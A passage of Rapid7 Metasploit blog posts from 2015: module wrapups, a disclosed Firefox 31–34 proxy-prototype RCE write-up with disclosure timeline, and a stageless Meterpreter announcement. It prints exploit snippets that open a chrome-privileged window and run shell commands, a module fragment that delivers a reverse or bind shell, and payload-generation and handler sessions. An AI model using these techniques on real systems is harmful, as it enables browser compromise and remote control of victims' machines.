So, we've had to rate limit the sheer volume of WordPress exploits that were hitting the Metasploit pull request queue, lest we accidentally become WordPressSploit. In fact, after I so cruelly dismissed a handful of new WordPress modules in this comment, that's precisely what Roberto did, and now he's chugging away on WPSploit, which can be used as a local add-on for all your WordPress plugin exploitation needs. All you need to do to track it is keep up a local clone of that repository, and symlink the auxiliary and exploit module directory structures in your local $HOME/.msf4 directory, and you can pick them up immediately. After all, who am I to be the sole arbiter of what's worthy of a Metasploit module?

This development over the last couple weeks illustrates the ease of forking and maintaining a customized build out of Metasploit Framework. After all, we have a permissive, open license, and given the collaborative power of GitHub, pretty much anyone with an interest can start building out their own sub-communities of exploit development. Yeah, that open source model is pretty powerful stuff, and WPSploit is already up to 18 additional modules.

Naturally, given the third of our three-clause license, Rapid7 neither endorses or promotes the use of this (or any other) side-repository of Metasploit modules, but I'm happy to let you know that it exists and that I'm happy about it.


Another Round of Flash Exploits

On the other side of the browser connection, we also have four new client-side Flash exploits contributed by our own Juan Vazquez, half of which were based on the research work of hdarwin89. This has been an area of interest for a while for Juan, especially given that there are more than a couple black market exploit kits that include a number of Flash exploits. Now that he's wrapped up the server side Java Remote Management Interface research, presented at last month's InfoSec SouthWest, Juan has dived head first into Flash exploitation research and development in order to better simulate the world of Internet crime.


Want to Help?

If you're the sort of person who reads this blog regularly, want to help out, and lives in Austin, Texas, USA (or can get here quickly), we have an internship open for working on the Metasploit family of products. Don't worry, all of Rapid7's internships are paid, and in fact, the last intern we picked up for Framework, William Vu, turned out to be an amazing new permanent hire, and is a huge reason why Metasploit Framework is now the in the top ten of all GitHub-hosted Ruby projects. So, this is definitely not a boring, go-get-me-coffee-and-then-do-all-this-horrible-gruntwork kind of internship; a successful applicant has every opportunity to make a name for themselves here on the forefront of open source, openly developed security software. For more details on the requirements, see the official job description here. And hey, I'd be happy to review your resume if you'd like. Hit me up on Twitter.


New Modules

Right, so like I said at the top, it's been about a month since the last Weekly Wrapup, so there are more than the usual on the "new" module list -- thirty-nine, to be precise, including the above-mentioned WordPress and Flash modules. Other highlights include a denial of service module for the much-ballyhooed HTTP.sys overflow (use with care, for you will bluescreen if successful!), a local exploit for the Apple OSX "rootpipe" bug (a patch for which was not backported to older versions of OSX), and a couple SOHO router/DOCSIS modem exploits.

You can check the release notes for the last three Metasploit Pro and Community updates over here.


Exploit modules

Auxiliary and post modules


If you've been following along, you'll have noticed that we published just about a post a day here this week, which makes my job of bringing the weekly update to you, dear reader, that much easier. So, I'll keep this week's update pretty short. Here's a link farm covering what was discussed from Joe, OJ, sinn3r, and HD. They're all really fun and informative reads from fun and informative people, as you'd expect.



Kali Dev Docs

Also this week, we're deepening our commitment to the Kali Linux user community by overhauling our Metasploit Development Environment Setup docs. If you're a habitual Kali hacker, we now have a pretty well documented means to get you up to speed with a modern Metasploit dev environment. It's been a long time coming, and replaces the old http://r-7.co/MSF-DEV wiki completely.


Once the tires are sufficiently kicked on this collection of copy-pasta bashisms, we're going to get it all nicely packaged up as a one of those new-fangled DevOpsish deploy scripts, and it should work for pretty much any Debian-based distribution.


No, it's not a DNS Hijack

hacker.jpgFinally, if all goes well over the next few days, you should see an entirely new platform for all our bloggery, discussion boards, and shameless trolling. You can see the note from Community Manager Maria Varmazis on the welcome page today. I'm pretty excited about the move, scheduled for March 31, 2015.


What this all means for you is, when you get the password reset message from rapid7.com, you can rest assured that it's (probably) not a phishing attempt, a DNS hijack, or a timezone-agnostic April Fool's joke. It's really us, I swear. I mean, what's more convincing than an unsigned, unauthenticated, unsolicited reset request, pointing to a website that's running an entirely different backend from what you're accustomed to? Totes legit. (:


In an effort to assure you that this is a real change and not a trick, I have signed this statement over on GitHub with my public key (as asserted by keybase.io). Feel free to verify it with your favorite GPG/PGP signature authentication scheme -- try curl that-raw-gist-link | gpg --verify.


Of course, maybe this is all part of the ruse. There is really no end to paranoia, if you care to delve deep enough.


New Modules

Since the last Wrapup (diffs here), we have nine new modules: five exploits and four Post/Aux modules. Note that we've also renamed five WordPress-based exploit modules, so I've added those to a special section, since they will also appear to be "new." If you're using those in a scripted way, like a resource script or Task Chain or something, you'll want to update your script to pick the new ones. Otherwise, they're unchanged.


Exploit modules


Auxiliary and post modules

Renamed modules

This blog post was originally written by Joe Vennix, and published here with his permission. All first person pronouns refer to him.


Adventures in Browser Exploitation: Firefox 31 - 34 RCE

A few months ago, I was testing some Javascript code in Firefox involving Proxies. Proxies are a neat ECMAScript 6 feature that Firefox has had implemented for some time now. Proxy objects allow transparent interception of Javascript's normal get-/set-property pattern:


    var x = {};
    var p = Proxy(x, {
      get: function() {
        console.log('getter called!');
        return 'intercepted';
      set: function() {
        console.log('setter called!');

    p.bar = 1;


When run, the above code will print:


    > getter called!
    > intercepted
    > setter called!


This is very useful to Javascript programmers as it allows for the implementation of the Ruby-style method_missing catch-all method. However, there are security implications; the W3C spec often requires objects from untrusted Javascript to be passed to privileged native code. Getters and setters can allow unprivileged code to run in unexpected ways inside of the privileged native code itself, at which point security checks can start to break. One example of this is geohot's 2014 Chrome ArrayBuffer memory corruption bug, which tricked native code operating on the buffer by defining a dynamic getter method on the ArrayBuffer's length property. There's a a good writeup by Palo Alto Networks.


So, the presence of Proxy objects in Firefox mainstream warrants some investigation. After playing with the implementation, some problems were apparent in how privileged code would interact with Proxy objects that were acting as the prototype of another object. For example, the following line would hang the browser indefinitely:


    document.__proto__ = Proxy.create({getPropertyDescriptor:function(){ while(1) {} }});


I played with it some more but could not find a way to abuse the problem further. I reported this to Mozilla as bug 1120261, hoping that someone would investigate. After some back-and-forth, I found out that the problem was already fixed in the 35.0 branch, so I put the issue out of my mind.


The Breakthrough

A thought struck one day, perhaps the getter is being called back in a different environment. I decided to test this theory by attempting to open a window with chrome privileges: such an operation should not be permitted by unprivileged code. I gave it a shot:


    var props = {};
    props['has'] = function(){
      var chromeWin = open("chrome://browser/content/browser.xul", "x")();

    document.__proto__ = Proxy.create(props)


I loaded the page and an alert for "attempting to open a popup window" appeared. This was a good sign, as it meant the chrome:// URL was being allowed to load, and was stopped only by the popup blocker. Which meant... clicking anywhere on the page opened a chrome-privileged URL.


What is chrome:// ?

Let's back up a bit. Firefox, like many other browsers, has a notion of privileged zones: different URI schemes have different powers. Chromium does this too (chrome://downloads), and Safari to some extent (file:// URLs). However, Firefox's chrome:// scheme is rather powerful - the Javascript executing under an origin with a scheme of chrome:// has the full privileges of the browser. In the presence of the right vulnerability, attackers can use this to get a fully-working shell on the user's machine.


If you want to test this, open the Developer Console (meta-alt-i) and browse to `chrome://browser/content/browser.xul`. Run the following code (linux/osx only):


    function runCmd(cmd) {
        var process = Components.classes["@mozilla.org/process/util;1"]
        var sh = Components.classes["@mozilla.org/file/local;1"]
        var args = ["-c", cmd];
        process.run(true, args, args.length);

    runCmd("touch /tmp/owned");


You should have a file in /tmp/owned.


So if an attacker can find a way to inject code into this window, like we did with the Developer Console, your entire user account is compromised.


Injecting code

Gaining a reference to a chrome:// window is only half the battle. The Same Origin Policy prevents attacker.com from interacting with the code in chrome://browser, so we will need to find a way around this. Here I got really lucky; I tried a technique I had used when implementing our 22.0-27.0 WebIDL exploit.


Here's the technique: by providing the chrome option to open(), when open is called from a chrome-privileged docshell, the provided URL is loaded as the top-level "frame" of the new browser window; that is, there is no skin or interface document that encapsulates our document. A top-level frame has a messageManager property, which is accessible to same-origin code running in other chrome docshells:


    // abuse vulnerability to open window in chrome://
    var c = new mozRTCPeerConnection;
      var w = window.open('chrome://browser/content/browser.xul', 'top', 'chrome');

      // we can now reference the `messageManager` property of the window's parent


MessageManager is a privileged Firefox API for sending messages between processes. One useful detail is that it allows injecting Javascript code into the process remotely using the `loadFrameScript` function.


Gaining RCE

From here, gaining remote code execution is trivial, thanks to the Firefox privileged payloads included in Metasploit. Just include the Msf::Exploit::Remote::FirefoxPrivilegeEscalation mixin, and the run_payload method will return a configured piece of Javascript code that will call Firefox's XPCOM APIs to spawn a reverse or bind shell on the target. JSON is used here to avoid encoding issues:


    # Metasploit module (ruby code)
    js_payload = run_payload
    js = %Q|
        var payload = #{JSON.unparse({code: js_payload})};
    send_response_html(cli, "<script>js</script>")


To see the full exploit source code, see today's disclosure Pull Request 4985. For the impatient, here's what a command shell looks like in Metasploit Framework (tested against Firefox version 32 release):


msf exploit(firefox_proxy_prototype) >
[*]    firefox_proxy_prototype - Gathering target information.
[*]    firefox_proxy_prototype - Sending HTML response.
[*] Command shell session 1 opened ( -> at 2015-03-23 11:48:53 -0500


Note, that while the Tor Browser Bundle advertises itself as Firefox version 31, it does not appear exploitable in any reasonable setup.


Disclosure Timeline

This vulnerability was disclosed according to Rapid7's disclosure policy to Mozilla and CERT/CC.


Jan 11, 2015: Originally reported to Mozilla as a low-severity DoS, which turned out to be already patched in trunk

Jan 13, 2015: Firefox 35.0 shipped with patch

Jan 20, 2015: RCE implications discovered and disclosed to Mozilla

Feb 04, 2015: Disclosure to CERT/CC

Feb 13, 2015: Mozilla updates their original security advisory, MFSA2015-09 to note possibility of RCE

Mar 23, 2015: Public disclosure in Pull Request 4985.


All in all, I was impressed with Mozilla's response. Plus they sent me a bug bounty for discovering an RCE exploitation vector of an already-patched bug. Very classy!


This blog post was originally written by Joe Vennix, and published here with his permission.

The Mozilla bug is still currently under embargo as of this writing.

Disclosure timeline updated to correct an error on the Jan 13 / FF 35 update.

Affected version range in title corrected: 31.0 - 34.0.5 is the correct vulnerable version range.

Stageless Meterpreter

Remember the Metasploit Pop Quiz we ran about a month back? Well, we got tons of support from you, the Metasploit users, and have been picking out what you want to see and have started turning those wishes into reality. I know HD, Brent, and OJ are working up a much more exhaustive blog post for next week to lay out what's going where and when, but one of the more significant updates to Meterpreter landed last night: Stageless Meterpreter.


You're encouraged to read OJ's detailed overview over on PR 4925 to get the skinny on the latest work, and we'd love to hear back about your experiences with these. Right now, you will have to come up with your own custom executable template for generation, since the .text sections of the new stageless Meterpreter binaries are rather huge. We'll ship some defaults soon, but in the meantime, if you want to kick the tires on these new Meterpreters, you're going to need to hunt down something for yourself. OJ used ImmunityDebuger.exe which sports a 981kb .text section, and I've had success with nginx.exe and its monstrous 2MB .text section (you can pick it up here). Behold:


# Here's the staged Meterpreter generation:

msf exploit(handler) > use payload/windows/meterpreter/reverse_https
msf payload(reverse_https) > generate -f /home/todb/templates/met.exe -t exe
[*] Writing 73802 bytes to /home/todb/templates/met.exe...

# And now for stageless Meterpreter:

msf payload(reverse_https) > use payload/windows/meterpreter_reverse_https
msf payload(meterpreter_reverse_https) > generate -f /home/todb/templates/smet.exe -t exe
[-] Payload generation failed: The .text section for 'template_x86_windows.exe' is too small. Minimum is 779166 bytes, your .text section is 45056 bytes
msf payload(meterpreter_reverse_https) > generate -f /home/todb/templates/smet.exe -t exe -x /home/todb/templates/nginx.exe
[*] Writing 2745344 bytes to /home/todb/templates/smet.exe...

# And here's the stageless version in action:

msf payload(meterpreter_reverse_https) > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter_reverse_https
payload => windows/meterpreter_reverse_https
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/meterpreter_reverse_https):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   EXITFUNC    process          yes       Exit technique (accepted: seh, thread, process, none)
   EXTENSIONS                   no        Comma-separate list of extensions to load
   LHOST    yes       The local listener hostname
   LPORT       8443             yes       The local listener port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > run

[*] Started HTTPS reverse handler on
[*] Starting the payload handler...
[*] Request received for /4rGu_y77pjV2MMrmmqOAa/...
[*] Incoming orphaned or stageless session 4rGu_y77pjV2MMrmmqOAa, attaching...
[*] Meterpreter session 1 opened ( -> at 2015-03-20 12:30:16 -0500

meterpreter >


So, if you're fine with a much larger file size, these stageless Metepreters should come in pretty handy. There's quite a few upsides to this technique, but I don't want to give away any spoilers there quite yet - stay tuned!


New Modules

Since the last Wrapup, we have lots of new exploit goodness -- a total of nine new exploit modules and two new auxiliary modules have landed in the last 10 days or so.


Of special interest is the fact that the ghost of Stuxnet is back, with the two new LNK file format code exec exploits. We now have an exploit for Classic Stuxnet (MS10-046) and one for the New Stuxnet (MS15-020). Our own Juan Vazquez has also put together a really nice howto on the original pull request for these modules, PR 4911. For more backstory on this bug, see the Krebs On Security post. Finally, keep in mind that there's no publicly available patch for Windows XP for this; using this technique should get you privileged access on any XP device pretty much in perpetuity. Since XP still accounts for nearly 20% of desktop market share, that's kind of a huge bummer for defenders.


As usual, you can check out the release notes for the latest released version of Metasploit, lovingly prepared by Thao.

Filter Blog

By date: By tag: